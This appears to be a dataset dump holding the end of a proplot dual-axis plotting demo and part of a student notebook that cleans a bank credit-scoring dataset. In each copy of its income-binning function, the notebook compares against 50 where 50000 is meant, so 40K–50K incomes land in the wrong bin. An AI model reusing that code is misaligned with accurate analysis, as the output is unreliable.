<https://matplotlib.org/3.1.0/gallery/scales/symlog_demo.html>`__.\n\n# %%\nimport proplot as plot\nplot.rc.update({'grid.alpha': 0.4, 'linewidth': 1, 'grid.linewidth': 1})\nc1 = plot.scale_luminance('cerulean', 0.5)\nc2 = plot.scale_luminance('red', 0.5)\nfig, axs = plot.subplots(\n    [[1, 1, 2, 2], [0, 3, 3, 0]],\n    share=0, aspect=2.2, axwidth=3\n)\naxs.format(\n    suptitle='Duplicate axes with custom transformations',\n    xcolor=c1, gridcolor=c1,\n    ylocator=[], yformatter=[]\n)\n\n# Meters and kilometers\nax = axs[0]\nax.format(xlim=(0, 5000), xlabel='meters')\nax.dualx(\n    lambda x: x * 1e-3,\n    label='kilometers', grid=True, color=c2, gridcolor=c2\n)\n\n# Kelvin and Celsius\nax = axs[1]\nax.format(xlim=(200, 300), xlabel='temperature (K)')\nax.dualx(\n    lambda x: x - 273.15,\n    label='temperature (\\N{DEGREE SIGN}C)', grid=True, color=c2, gridcolor=c2\n)\n\n# With symlog parent\nax = axs[2]\nax.format(xlim=(-100, 100), xscale='symlog', xlabel='MegaJoules')\nax.dualx(\n    lambda x: x * 1e6,\n    label='Joules', formatter='log', grid=True, color=c2, gridcolor=c2\n)\nplot.rc.reset()\n\n# %%\nimport proplot as plot\nplot.rc.update({'grid.alpha': 0.4, 'linewidth': 1, 'grid.linewidth': 1})\nc1 = plot.scale_luminance('cerulean', 0.5)\nc2 = plot.scale_luminance('red', 0.5)\nfig, axs = plot.subplots(ncols=2, share=0, aspect=0.4, axwidth=1.8)\naxs.format(suptitle='Duplicate axes with special transformations')\n\n# Pressure as the linear scale, height on opposite axis (scale height 7km)\nax = axs[0]\nax.format(\n    xformatter='null', ylabel='pressure (hPa)',\n    ylim=(1000, 10), xlocator=[], ycolor=c1, gridcolor=c1\n)\nax.dualy(\n    'height', label='height (km)', ticks=2.5, color=c2, gridcolor=c2, grid=True\n)\n\n# Height as the linear scale, pressure on opposite axis (scale height 7km)\nax = axs[1]  # span\nax.format(\n    xformatter='null', ylabel='height (km)', ylim=(0, 20), xlocator='null',\n    grid=True, gridcolor=c2, ycolor=c2\n)\nax.dualy(\n    'pressure', label='pressure (hPa)', locator=100, color=c1, gridcolor=c1, grid=True,\n)\nplot.rc.reset()\n\n# %%\nimport proplot as plot\nimport numpy as np\nplot.rc.margin = 0\nc1 = plot.scale_luminance('cerulean', 0.5)\nc2 = plot.scale_luminance('red', 0.5)\nfig, ax = plot.subplots(aspect=(3, 1), width=6)\n\n# Sample data\ncutoff = 1 / 5\nx = np.linspace(0.01, 0.5, 1000)  # in wavenumber days\nresponse = (np.tanh(-((x - cutoff) / 0.03)) + 1) / 2  # response func\nax.axvline(cutoff, lw=2, ls='-', color=c2)\nax.fill_between([cutoff - 0.03, cutoff + 0.03], 0, 1, color=c2, alpha=0.3)\nax.plot(x, response, color=c1, lw=2)\n\n# Add inverse scale to top\nax.format(\n    xlabel='wavenumber (days$^{-1}$)', ylabel='response', grid=False,\n    title='Imaginary response function',\n    suptitle='Duplicate axes with wavenumber and period',\n)\nax = ax.dualx(\n    'inverse', locator='log', locator_kw={'subs': (1, 2, 5)}, label='period (days)'\n)\nplot.rc.reset()\n", "meta": {"hexsha": "896b8c4b29c446a2c82458099060fc420c2fae93", "size": 20567, "ext": "py", "lang": "Python", "max_stars_repo_path": "docs/axis.py", "max_stars_repo_name": "zmoon92/proplot", "max_stars_repo_head_hexsha": "2c6f7af8a044567bb9409d3f67d844bac05c7d14", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-03-30T00:34:11.000Z", "max_stars_repo_stars_event_max_datetime": "2021-03-30T00:34:11.000Z", "max_issues_repo_path": "docs/axis.py", "max_issues_repo_name": "zmoon92/proplot", "max_issues_repo_head_hexsha": "2c6f7af8a044567bb9409d3f67d844bac05c7d14", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "docs/axis.py", "max_forks_repo_name": "zmoon92/proplot", "max_forks_repo_head_hexsha": "2c6f7af8a044567bb9409d3f67d844bac05c7d14", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 34.7415540541, "max_line_length": 87, "alphanum_fraction": 0.6744785336, "include": true, "reason": "import numpy", "num_tokens": 6462, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.399811640739795, "lm_q2_score": 0.1561048974454574, "lm_q1q2_score": 0.06241255517518576}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Analyzing borrowers\u2019 risk of defaulting\n# \n# Your project is to prepare a report for a bank\u2019s loan division. You\u2019ll need to find out if a customer\u2019s marital status and number of children has an impact on whether they will default on a loan. The bank already has some data on customers\u2019 credit worthiness.\n# \n# Your report will be considered when building a **credit scoring** of a potential customer. A ** credit scoring ** is used to evaluate the ability of a potential borrower to repay their loan.\n\n# In[1]:\n\n\n# import libraries\nimport pandas as pd\nimport numpy as np\n\n\n# In[2]:\n\n\n# load the data \ntry:\n    data = pd.read_csv('/Users/rraven/Desktop/a_final_yandex/datasets/credit_scoring_eng.csv')\nexcept:\n    data = pd.read_csv('/datasets/credit_scoring_eng.csv')\n\n\n# In[3]:\n\n\n# print general info & first 10 rows\n#data = pd.read_csv('../data/credit_scoring_eng.csv')\nprint('\\nGeneral Info for credit_scoring_eng\\n')\ndata.info()\nprint('\\nFirst 10 rows of credit_scoring_eng.csv')\ndata.head(10)\n\n\n# In[4]:\n\n\n# find the number of missing values per column\nprint('Total Rows:', len(data))\nprint('\\nColumn\\t\\tMissing Rows')\ndata.isnull().sum()\n\n\n# In[5]:\n\n\nratio = 100*data.isnull().sum() / len(data)\nprint('Column\\t\\tPercent Missing')\nratio\n\n\n# In[6]:\n\n\n# check data for duplicates in entire dataFrame\nprint('Number of duplicate rows:')\ndata.duplicated().sum()\n\n\n# **Initial Observations for credit_scoring_eng.csv**\n# \n# * 21525 rows\n# * 12 columns\n# * A mix of data types (float64(2), int64(5), object(5))\n# * 2174 missing values in 2 columns (days_employed, total_income) \n# * days_employed and total_income are missing over 10% of total values\n# * 54 duplicate rows\n\n# In[7]:\n\n\n# investigate children column\ndata['children'].value_counts()\n\n\n# In[8]:\n\n\n# investigate family_status column\ndata['family_status'].value_counts()\n\n\n# In[9]:\n\n\n# investigate family_status_id column\ndata['family_status_id'].value_counts()\n\n\n# In[10]:\n\n\n# investigate purpose column\ndata['purpose'].value_counts()\n\n\n# In[11]:\n\n\n# how many unique entries in purpose column\ndata['purpose'].nunique()\n\n\n# In[12]:\n\n\n# investigate debt column\ndata['debt'].value_counts()\n\n\n# In[13]:\n\n\n# investigate dob_years column\ndata['dob_years'].value_counts().sort_index()\n\n\n# In[14]:\n\n\n# categorize dob_years in 10 year increments\nless_than_20 = 0\nbtwn20and30 = 0\nbtwn30and40 = 0\nbtwn40and50 = 0\nbtwn50and60 = 0\nbtwn60and70 = 0\nover_equal70 = 0\nnan_count = 0\nunknown = 0\nfor x in data['dob_years']:\n    if x < 20:\n        less_than_20 +=1\n    elif x < 30:\n        btwn20and30 +=1\n    elif x < 40:\n        btwn30and40 +=1   \n    elif x < 50:\n        btwn40and50 +=1 \n    elif x < 60:\n        btwn50and60 +=1 \n    elif x < 70:\n        btwn60and70 +=1 \n    elif x >= 70:\n        over_equal70 +=1        \n    elif str(x) == 'nan':\n        nan_count +=1\n    else:\n        # to check there are no other values\n        unknown +=1\nprint(\"Age < 20:\\t\", less_than_20, \n      \"\\n20 <= Age < 30:\\t\", btwn20and30,\n      \"\\n30 <= Age < 40:\\t\", btwn30and40,\n      \"\\n40 <= Age < 50:\\t\", btwn40and50,\n      \"\\n50 <= Age < 60:\\t\", btwn50and60,\n      \"\\n60 <= Age < 70:\\t\", btwn60and70,\n      \"\\nAge >= 70:\\t\", over_equal70,\n      \"\\nnan:\\t\\t\", nan_count,\n      \"\\nUnknown:\\t\", unknown)\n\n\n# In[15]:\n\n\n# investigate education column\ndata['education'].value_counts()\n\n\n# In[16]:\n\n\n# investigate education_id column\ndata['education_id'].value_counts()\n\n\n# In[17]:\n\n\n# investigate gender column\ndata['gender'].value_counts()\n\n\n# In[18]:\n\n\n# investigate income_type column\ndata['income_type'].value_counts()\n\n\n# In[19]:\n\n\n# how many unique entries in income_type column\ndata['income_type'].nunique()\n\n\n# In[20]:\n\n\n# investigate total_income\ndata['total_income'].value_counts()\n\n\n# In[21]:\n\n\n# categorize income_level into 10K levels to see distribution\n\n# create a new function, income_level_fx\ndef income_level_fx(row):\n    # the income_level is returned according to total_income\n    income = row['total_income']\n    \n    if income < 10000:\n        return 'less_than_10K' \n    elif income < 20000:\n        return 'btwn10Kand20K'\n    elif income < 30000:\n        return 'btwn20Kand30K'   \n    elif income < 40000:\n        return 'btwn30Kand40K'  \n    elif income < 50:\n        return 'btwn40Kand50K' \n    elif income < 60000:\n        return 'btwn50Kand60K'  \n    elif income < 70000:\n        return 'btwn60Kand70K' \n    elif income < 80000:\n        return 'btwn70Kand80K' \n    elif income < 90000:\n        return 'btwn80Kand90K' \n    elif income < 100000:\n        return 'btwn90Kand100K'\n    elif income >= 100000:\n        return 'greater_than_100K'  \n    \n# create a new column, income_level, based on total_income\ndata['income_level'] = data.apply(income_level_fx, axis=1)\n\n# verfiy new column: income_level\ndata['income_level'].value_counts()\n\n\n# ### Conclusion\n\n# **The datafile credit_scoring_eng.csv contains**\n# * 21525 rows\n# * 12 columns\n# * A mix of data types (float64(2), int64(5), object(5))\n# * 2174 missing values in 2 columns (days_employed, total_income) \n# * days_employed and total_income are missing over 10% of total values\n# * 54 duplicate rows\n# \n# **Targeted areas - having kids, marital status, income level and loan purpose r/t repayment**\n# * children \n#     - int64\n#     - contains 47 entries with -1 and 76 with 20\n#     - maybe -1 was meant to be 1? keying error? correct or remove?\n#     - maybe 20 was meant to be 2? keying error? correct or remove?\n#     - ultimately can try different groups (none or some), (none, 1, or > 1), etc\n# * family_status and family_status_id \n#     - string(object) and int64\n#     - no problems noted, appear to correlate well\n#         - married              12380 \n#         - civil partnership     4177\n#         - unmarried             2813\n#         - divorced              1195\n#         - widow / widower        960\n#         - 0    12380\n#         - 1     4177\n#         - 4     2813\n#         - 3     1195\n#         - 2      960\n# * total_income\n#     - float64\n#     - will need to address missing values    \n# * purpose\n#     - string(object)\n#     - 38 unique entries\n#     - appears to be 4 main categories \n#         - wedding\n#         - property\n#         - car\n#         - education\n#     - will need to work with stem and/or lemmas\n#     \n# **How to judge risk of default / likelihood of repayment of loan?**\n# Discussion: There are 12 total columns. 5 of these are specifically involved in the task (children, family_status/family_status_id, total_income, and purpose). This leaves days_employed, dob_years, education,\n# education_id, gender, income_type, and debt.\n# \n# Which of these are likely to correlate with risk of default? \n# - days_employed might, because it could demonstrate stability, but the values in that column have too many problems to be useful. Therefore, that column will likely be ignored. \n# - dob_years: could younger people (< 30 or 40) have a higher risk of default? maybe\n# - education / education_id: could less education correlate with higher risk of default? maybe\n# - gender: could gender correlate with risk of default? maybe\n# - income_type: could source of income correlate with risk of default? maybe\n# - debt: does \"whether the customer has ever defaulted on a loan\" correlate with risk of default? very likely\n# \n# **Of these choices, debt is the most likely to produce useful correlations with risk of default. **\n#   \n# * debt\n#     - int64\n#     - 2 values, no nan or unknowns\n#     - assume 0 hasn't ever defaulted \n#     - assume 1 for has defaulted in the past\n#         - 0    19784\n#         - 1     1741\n#      \n# **General observations of other columns**\n# * days_employed (will investigate in missing info section)\n#  \u00a0 \u00a0- float64 (why?) \n#     - will need to address missing values \u00a0   \n# * dob_years\n#     - int64\n#     - age range from 19 to 75, but 101 values of 0 for age\n#     - will need to categorize, maybe by decade \n# * education has a mixture of upper and lower case strings, numerous variations\n#     - string(object)\n#     - change all to lowercase to unify and compare to education_id\n#     - could use it to help fill in missing income info\n# * eduction_id column\n#     - int64\n#     - could be used instead of education if codes correlate?\n#         - 0 = bachelor's degree\n#         - 1 = secondary education\n#         - 2 = some college\n#         - 3 = primary education\n#         - 4 = graduate degree\n#     - maybe could reorganize because this order doesn't make sense?\n# * gender\n#     - string(object)\n#     - could change it to number code\n# * income_type\n#     - string(object)\n#     - 8 unique entries\n#     - could change it to number code\n#     - could combine it with other info to fill in missing incomes\n#         - employee                       11119\n#         - business                        5085\n#         - retiree                         3856\n#         - civil servant                   1459\n# \n\n# ## Data preprocessing\n\n# ### Processing missing values\n\n# 1. Address days_employed\n# 2. Address total_income\n\n# In[22]:\n\n\n# investigate days_employed column\ndata['days_employed'].value_counts().sort_index()\n\n\n# In[23]:\n\n\n# there are missing values, but how many?\n# find percent of total rows where days_employed is missing a value\nmissing_days = data['days_employed'].isnull().sum()\npct_missing = missing_days/len(data)\nprint('Percentage of rows missing total_income: {:.2%}'.format(pct_missing))\n\n\n# In[24]:\n\n\n# add column & calculate years worked using days_employed\ndata['years_employed'] = data['days_employed'] / 365\n\n\n# In[25]:\n\n\n# investigate range of years_employed column\ndata['years_employed'].value_counts().sort_index()\n\n\n# There are some unrealistic values (working for negative 50 years and over 1100 years).\n\n# In[26]:\n\n\n# find counts of positive and negative values for days employed\npos_count = 0\nneg_count = 0\nnan_count = 0\nunknown = 0\nfor x in data['days_employed']:\n    if x >= 0:\n        pos_count +=1\n    elif x < 0:\n        neg_count +=1\n    elif str(x) == 'nan':\n        nan_count +=1\n    else:\n        # to check there are no other values\n        unknown +=1\nprint(\"Positive days employed:\\t\", pos_count, \n      \"\\nNegative days employed:\\t\", neg_count,\n      \"\\nnan in days employed:\\t\", nan_count,\n      \"\\nUnknown in days employed:\", unknown)\n\n\n# Analysis of days_employed reveals:\n# - float64 (why?) and has many negative values (why?)\n# - is missing 2174 values\n# - has a range from -18388.949901 to 401755.400475 days employed\n# - has a range from -50 years to over 1100 years employed\n# - positive days employed: 3445 \n# - negative days employed: 15906 \n# \n# Possible reasons for problem entries:\n# 1. Human error when entering data (adding - by accident).\n# 2. Error in units (perhaps the person entering the data got confused between hours worked and days worked?). Confusing hours for days may explain the very high numbers.\n# 3. There may have been errors when merging different data sets.\n# \n# Plan to fill missing values:\n# 1. Since negative values are likely due to human error when entering data, use absolute value on days_employed.\n# 2. Evaluate min/max values to determine range again, verify no more negative values.\n# 3. Refresh years_employed and verify no more negative values.\n# 4. Compare mean and median to gain an overall sense of data.\n# 5. If people mistakenly entered hours worked instead of days, we can assume the maximum work period could be 70 years (70 yrs * 365 days/yrs) = 25550 days.\n# 6. More realistically, we could assume the maximum work period could be 50 years (50 yrs * 365 days/yrs) = 18250.\n# 7. With values greater than work period (either 25550 days or 18250 days), divide by 24 to get a days worked: data_50_yrs and data_70_years.\n# 8. Compare statistics data_50_yrs and data_70_years.\n# 9. Replace values in data df with appropriate cutoff value (#/24).\n# 10. Compare mean and median of days_employed column.\n# 11. Fill missing values with appropriate value (mean or median).\n\n# In[27]:\n\n\n# apply abs() to change negative values to positive\ndata['days_employed'] = data['days_employed'].abs()\n# verify no more negative values after abs()\nnegative_count = data.loc[data['days_employed']  < 0, 'days_employed'].count()\nprint('After applying abs(), verify the total number of negative values in days_employed = 0.')\nnegative_count\n\n\n# In[28]:\n\n\npositive_count = data.loc[data['days_employed']  > 0, 'days_employed'].count()\nprint('After applying abs(), verify the total number of positive values in days_employed = 19351')\npositive_count\n\n\n# In[29]:\n\n\n# add column & calculate years worked using days_employed\ndata['years_employed'] = data['days_employed'] / 365\n\ndays_neg = data.loc[data['years_employed']  < 0, 'years_employed'].count()\nprint('After applying abs(), verify the total number of negative values in years_employed = 0.')\ndays_neg\n\n\n# In[30]:\n\n\n# find info on mean, min, max for days_employed\nprint('Statistical info for days_employed')\ndata['days_employed'].describe()\n\n\n# In[31]:\n\n\n# find info on mean, min, max for years_employed\nprint('Statistical info for years_employed')\ndata['years_employed'].describe()\n\n\n# In[32]:\n\n\n# find the median of years_employed\ndata['years_employed'].median()\n\n\n# This data is skewed with some very high values. The median for years is just over 6, while the mean is over 183 years worked. This suggests there are many very high values distorting the data.\n\n# In[33]:\n\n\n# make a copy of data, name it data_50_yrs\ndata_50_yrs = data.copy()\n# change all the values greater than 18250 days (50 years) by dividing by 24 and saving results\ndata_50_yrs.loc[data_50_yrs['days_employed'] > 18250, 'days_employed'] = data_50_yrs['days_employed']/24\n# find info on mean, min, max for days employed where values changed\nprint('Statistical info for days_employed')\nprint('where values > 18250 (50 years) and divided by 24')\ndata_50_yrs['days_employed'].describe()\n\n\n# In[34]:\n\n\n# make a copy of data, name it data_70_yrs\ndata_70_yrs = data.copy()\n# change all the values greater than 25550 days (70 years) by dividing by 24 and saving results\ndata_70_yrs.loc[data_70_yrs['days_employed'] > 25550, 'days_employed'] = data_70_yrs['days_employed']/24\n# find info on mean, min, max for days employed where values changed\nprint('Statistical info for days_employed')\nprint('where values > 25550 (70 years) and divided by 24')\ndata_70_yrs['days_employed'].describe()\n\n\n# The means and medians for the two options are very close:\n# \n# - 50 yrs  70 yrs\n# - 4640 vs 4641\n# - 2194 vs 2194\n# \n# The max values are a bit different\n# 17615 (48 years) vs 18388 (50 years).\n# \n# The 70 year cutoff will be used in the data df just in case that entry with a 50 year work history is accurate. There are 3800+ retirees in the sample after all.\n\n# In[35]:\n\n\n# change all the values greater than 25550 days (70 years) by dividing by 24 and saving results\ndata.loc[data['days_employed'] > 25550, 'days_employed'] = data['days_employed']/24\n\n# find info on mean, min, max for days_employed\nprint('Statistical info for days_employed')\ndata['days_employed'].describe()\n\n\n# In[36]:\n\n\n# look for nan, negative, and other values in days_employed\n# print first 20 rows of duplicates to look for patterns\npos_count = 0\nneg_count = 0\nnan_count = 0\nunknown = 0\ncounter= -1\nfor x in data['days_employed']:\n    counter +=1\n    if x >= 0:\n        pos_count +=1\n    elif x < 0:\n        neg_count +=1\n    elif str(x) == 'nan':\n        nan_count +=1\n        if nan_count < 20:\n            print(data.iloc[counter])\n    else:\n        # to check there are no other values\n        unknown +=1\nprint(\"Positive income:\", pos_count, \n      \"\\nNegative income:\", neg_count,\n      \"\\nnan:\\t\\t\", nan_count,\n      \"\\nUnknown:\\t\", unknown)\n\n\n# In[37]:\n\n\n# find median of days_employed\nmedian_days = data['days_employed'].median()\nprint('The median of days_employed')\nmedian_days\n\n\n# In[38]:\n\n\n# fill in missing values with median income\ndata['days_employed'].fillna(value=median_days, inplace = True)\n\n\n# In[39]:\n\n\n# check for any missing values\n# find info on mean, min, max for days_employed\nprint('Statistical info for days_employed')\ndata['days_employed'].describe()\n\n\n# There are no more missing values and the median remains the same, 2194. The mean actually went down, which makes sense because over 2000 missing values were replaced with 2194, bringing the overall mean downward.\n\n# In[40]:\n\n\n# find percent of total rows where total_income is missing\nmissing_income = data['total_income'].isnull().sum()\npct_missing = missing_income/len(data)\nprint('Percentage of rows missing total_income: {:.2%}'.format(pct_missing))\n\n\n# In[41]:\n\n\n# look for nan, negative, and other values in total_income\n# print first 20 rows of duplicates to look for patterns\npos_count = 0\nneg_count = 0\nnan_count = 0\nunknown = 0\ncounter= -1\nfor x in data['total_income']:\n    counter +=1\n    if x >= 0:\n        pos_count +=1\n    elif x < 0:\n        neg_count +=1\n    elif str(x) == 'nan':\n        nan_count +=1\n        if nan_count < 20:\n            print(data.iloc[counter])\n\n    else:\n        # to check there are no other values\n        unknown +=1\nprint(\"Positive income:\", pos_count, \n      \"\\nNegative income:\", neg_count,\n      \"\\nnan:\\t\\t\", nan_count,\n      \"\\nUnknown:\\t\", unknown)\n\n\n# In[42]:\n\n\n# categorize income_level into 10K levels\n\n# create a new function, income_level_fx\ndef income_level_fx(row):\n    # the income_level is returned according to total_income\n    income = row['total_income']\n    \n    if income < 10000:\n        return 'less_than_10K' \n    elif income < 20000:\n        return 'btwn10Kand20K'\n    elif income < 30000:\n        return 'btwn20Kand30K'   \n    elif income < 40000:\n        return 'btwn30Kand40K'  \n    elif income < 50:\n        return 'btwn40Kand50K' \n    elif income < 60000:\n        return 'btwn50Kand60K'  \n    elif income < 70000:\n        return 'btwn60Kand70K' \n    elif income < 80000:\n        return 'btwn70Kand80K' \n    elif income < 90000:\n        return 'btwn80Kand90K' \n    elif income < 100000:\n        return 'btwn90Kand100K'\n    elif income >= 100000:\n        return 'greater_than_100K'  \n    \n# create a new column, income_level, based on total_income\ndata['income_level'] = data.apply(income_level_fx, axis=1)\n\n# verfiy new column: income_level\ndata['income_level'].value_counts()\n\n\n# In[43]:\n\n\n# find info on mean, min, max for total_income\nprint('Statistical info for total_income')\ndata['total_income'].describe()\n\n\n# In[44]:\n\n\n# find median of total_income\nmedian_income = data['total_income'].median()\nprint('The median of total_income')\nmedian_income\n\n\n# total_income is vital to the analysis. Over 10% of the values are missing. \n# Those values could be replaced by the mean or median. \n# \n# Since the mean (26787) > median (23202), high outling values are pulling the mean up. The median should be used to replace the values. A copy of the dataframe, titled data_median_income, will be created to store data where the median total_income replaces the missing values. \n# \n# Another option will be to look at correlations between other factors and total_income and replace missing values based on those factors. \n# \n# The two options will be compared in the final analysis.\n\n# In[45]:\n\n\n# make a copy of data and replace the missing values with median\ndata_median_income = data.copy()\n\n\n# In[46]:\n\n\n# fill in missing values with median income\ndata_median_income['total_income'].fillna(value=median_income, inplace = True)\n\n\n# In[47]:\n\n\n# print the number of missing values in data_median_income after filling nan\nprint('Verify that there are no missing values in data_median_income')\ndata_median_income['total_income'].isnull().sum()\n\n\n# In[48]:\n\n\n# categorize data_median_income income_level into 10K levels\n\n# create a new function, income_level_fx\ndef income_level_fx(row):\n    # the income_level is returned according to total_income\n    income = row['total_income']\n    \n    if income < 10000:\n        return 'less_than_10K' \n    elif income < 20000:\n        return 'btwn10Kand20K'\n    elif income < 30000:\n        return 'btwn20Kand30K'   \n    elif income < 40000:\n        return 'btwn30Kand40K'  \n    elif income < 50:\n        return 'btwn40Kand50K' \n    elif income < 60000:\n        return 'btwn50Kand60K'  \n    elif income < 70000:\n        return 'btwn60Kand70K' \n    elif income < 80000:\n        return 'btwn70Kand80K' \n    elif income < 90000:\n        return 'btwn80Kand90K' \n    elif income < 100000:\n        return 'btwn90Kand100K'\n    elif income >= 100000:\n        return 'greater_than_100K'  \n    \n# create a new column, income_level, based on total_income\ndata_median_income['income_level'] = data_median_income.apply(income_level_fx, axis=1)\n\n# verfiy new column: income_level\ndata_median_income['income_level'].value_counts()\n\n\n# In[49]:\n\n\n# find info on mean, min, max for total_income\nprint('Statistical info for data_median_income')\ndata_median_income['total_income'].describe()\n\n\n# Since debt, children, family_status, purpose will be examined later, those will not be used when considering filling missing values in total_income.\n# \n# Before considering relationships between total_income and (gender and/or education_id and/or dob_years and/or income_type), dob_years and education need to be addressed.\n# \n# 1. Process dob_years into categories (called age_group) \n# 2. Change the items in education to lowercase so it can be used for analysis.\n# 3. Investigate gender, education, dob_years, income_type with total_income\n\n# In[50]:\n\n\n# process dob_years into age_group\n\n# create a new function, age_group_fx \ndef age_group_fx(row):\n    # the age group is returned according to dob_years\n    age = row['dob_years']\n\n    if age < 20:\n        return 'less_than_20' \n    elif age < 30:\n        return 'btwn20and30'\n    elif age < 40:\n        return 'btwn30and40'   \n    elif age < 50:\n        return 'btwn40and50' \n    elif age < 60:\n        return 'btwn50and60' \n    elif age < 70:\n        return 'btwn60and70' \n    elif age >= 70:\n        return 'over_equal70'  \n    \n# create a new column, age_group, based on dob_years\ndata['age_group'] = data.apply(age_group_fx, axis=1)\n\n# calculate number of items per age level\nprint('Number of items per age group')\ndata['age_group'].value_counts()\n\n\n# In[51]:\n\n\n# calculate number of items per education column\ndata['education'].value_counts()\n\n\n# In[52]:\n\n\n# change items to lowercase\ndata['education'] = data['education'].str.lower()\n\n# calculate number of items per education column\nprint('Number of items per education category')\ndata['education'].value_counts()\n\n\n# In[53]:\n\n\n# compare with education #s with education_id #s\nprint('Number of items per education_id category')\ndata['education_id'].value_counts()\n\n\n# The education column and the education_id column values match.\n\n# In[54]:\n\n\n# investigate gender and total_income\ndata.groupby('gender').agg({'total_income': ['count', 'mean', 'median']})\n\n\n# There is close to 5K difference, quite significant, between values for F or M.\n# \n# Gender will be used to help fill in missing values for total income.\n\n# In[55]:\n\n\n# investigate education and total_income\ndata.groupby('education').agg({'total_income': ['count', 'mean', 'median']})\n\n\n# There is a significant difference between incomes for different education levels.\n# \n# Education will be used to help fill in missing values for total income.\n\n# In[56]:\n\n\n# investigate count of missing total_income by education\nprint('Count of missing total income by education')\nprint(data[data['total_income'].isnull()]['education'].value_counts())\n\n\n# In[57]:\n\n\n# investigate age_group and total_income\ndata.groupby('age_group').agg({'total_income': ['count', 'mean', 'median']})\n\n\n# There is not as significant difference between incomes for different age groups. \n# \n# Age_groups will not be used to help fill in missing values for total income.\n\n# In[58]:\n\n\n# investigate income_type and total_income\ndata.groupby('income_type').agg({'total_income': ['count', 'mean', 'median']})\n\n\n# There is a sizeable difference between business, employee, and retiree and all of those have over 3K applicants.\n# \n# Income_type will be used to help fill in missing values for total income.\n\n# In[59]:\n\n\n# investigate count of missing total_income by income_type\nprint('Count of missing total income by income_type')\nprint(data[data['total_income'].isnull()]['income_type'].value_counts())\n\n\n# In[60]:\n\n\n# investigate if there are any correlations with total_income and \n# gender and education and income_type and age group\ndata.pivot_table(values=['total_income'], columns=['gender', 'education', 'income_type'])\n\n\n# This suggests some wide variations in value when categorized by gender, education, and income type.\n\n# In[61]:\n\n\n# fill in values using education_id and income_type\nprint('Fill in missing values of total_income based on education, gender, and income_type')\ndata['total_income'] = data['total_income'].fillna(data.groupby(['education_id', 'income_type', 'gender'])['total_income'].transform('median'))\n\n# print the number of missing values in data after filling nan\nprint('Verify that there are no missing values in data')\ndata['total_income'].isnull().sum()\n\n\n# In[62]:\n\n\nmiss_value = data[data['total_income'].isna()]\nmiss_value\n\n\n# 1 row still has a missing value for total_income.\n# The applicant is a male entrepreneur with a bachelor's degree.\n\n# In[63]:\n\n\n# investigate if there are any correlations with total_income and \n# gender and income_type\ndata.pivot_table(values=['total_income'], columns=['gender', 'income_type'])\n\n\n# Since there is not a listing for a M who is an entrepreneur, the program couldn't fill in a value. The value for a F who is an entrepreneur is very high, so it may be better to base the missing value on a M having a bachelor's degree.\n\n# In[64]:\n\n\n# investigate if there are any correlations with total_income and \n# gender and education_id\ndata.pivot_table(values=['total_income'], columns=['gender', 'education'])\n\n\n# In[65]:\n\n\n# replace the missing value with value for a M with a bachelor's degree\nprint('Fill in missing value of total_income based on education and gender')\ndata['total_income'] = data['total_income'].fillna(data.groupby(['education_id', 'gender'])['total_income'].transform('median'))\n\n# print the number of missing values in data after filling nan\nprint('Verify that there are no missing values in data')\ndata['total_income'].isnull().sum()\n\n\n# In[66]:\n\n\n# categorize income_level into 10K levels\n# important to do after all the missing values added to update\n\n# create a new function, income_level_fx\ndef income_level_fx(row):\n    # the income_level is returned according to total_income\n    income = row['total_income']\n    \n    if income < 10000:\n        return 'less_than_10K' \n    elif income < 20000:\n        return 'btwn10Kand20K'\n    elif income < 30000:\n        return 'btwn20Kand30K'   \n    elif income < 40000:\n        return 'btwn30Kand40K'  \n    elif income < 50:\n        return 'btwn40Kand50K' \n    elif income < 60000:\n        return 'btwn50Kand60K'  \n    elif income < 70000:\n        return 'btwn60Kand70K' \n    elif income < 80000:\n        return 'btwn70Kand80K' \n    elif income < 90000:\n        return 'btwn80Kand90K' \n    elif income < 100000:\n        return 'btwn90Kand100K'\n    elif income >= 100000:\n        return 'greater_than_100K'  \n    \n# create a new column, income_level, based on total_income\ndata['income_level'] = data.apply(income_level_fx, axis=1)\n\n# verfiy new column: income_level\ndata['income_level'].value_counts()\n\n\n# In[67]:\n\n\ndata.info()\n\n\n# In[68]:\n\n\n# find info on mean, min, max for total_income\nprint('Statistical info for total_income')\ndata['total_income'].describe()\n\n\n# ### Conclusion\n\n# 1. days_employed may or may not be useful for analysis. Negative values may have occured through human data entry error. Very large values likely occured because of confusion over units (hours versus days), but they might be due to problems merging datasets. To handle the negative values, the absolute value was applied and the new values stored in place. Large values (equivalent to working > 70 years) were divided by 24 (for 24 hours) and replaced. The first 20 rows with NAN values revealed no particular pattern, so the missing values are likely MAR. Then the missing values were filled using the median because there were still large values skewing the results (mean 4641 vs median 2194).\n# \n# \n# 2. total_income is vital to analysis (in fact it is one of the key categories to report on). Over 10% of the values are missing. The first 20 duplicates were printed and there is no obvious pattern, therefore these missing values are MAR. Reasons for missing values could include human error, information not provided by applicant, or a mix up when datasets were merged. total_income was categorized into 10K increments and general statistics were displayed. The mean is greater than the median, therefore the median values will be used for replacing missing values.\n# \n# 3. Replacing missing values:\n# - approach one is to replace those missing values with the median. data_median_income\n# - approach two involves filling missing values based on a composite value drawn from the influence of gender, income_type, and education (except for one stray value where only gender and education were used).\n# - these approaches will be compared in the final analysis.\n\n# ### Data type replacement\n\n# 1. total_income should be changed from float 64 to an int for visual appeal / ease of understanding.\n# 2. Data types could be changed to conserve memory. This is especially useful for very large files.\n\n# In[69]:\n\n\n# investigate data types\ndata.info()\n\n\n# In[70]:\n\n\n# check memory usage\nprint('Memory useage before')\ndata.memory_usage()\n\n\n# In[71]:\n\n\n# calculate total memory usage before\nprint('Memory useage before in MB')\nmemory_before = data.memory_usage().sum() / (1024**2) #converting to megabytes\nmemory_before\n\n\n# In[72]:\n\n\n# change data types using astype and apply w/numpy\ndata['children'] = data['children'].astype('int16')\n# converting days_employed took 2 steps, 1st numpy to int, then astype\ndata['days_employed'] = data['days_employed'].apply(np.int)\ndata['days_employed'] = data['days_employed'].astype('int16')\ndata['dob_years'] = data['dob_years'].astype('int16')\ndata['education'] = 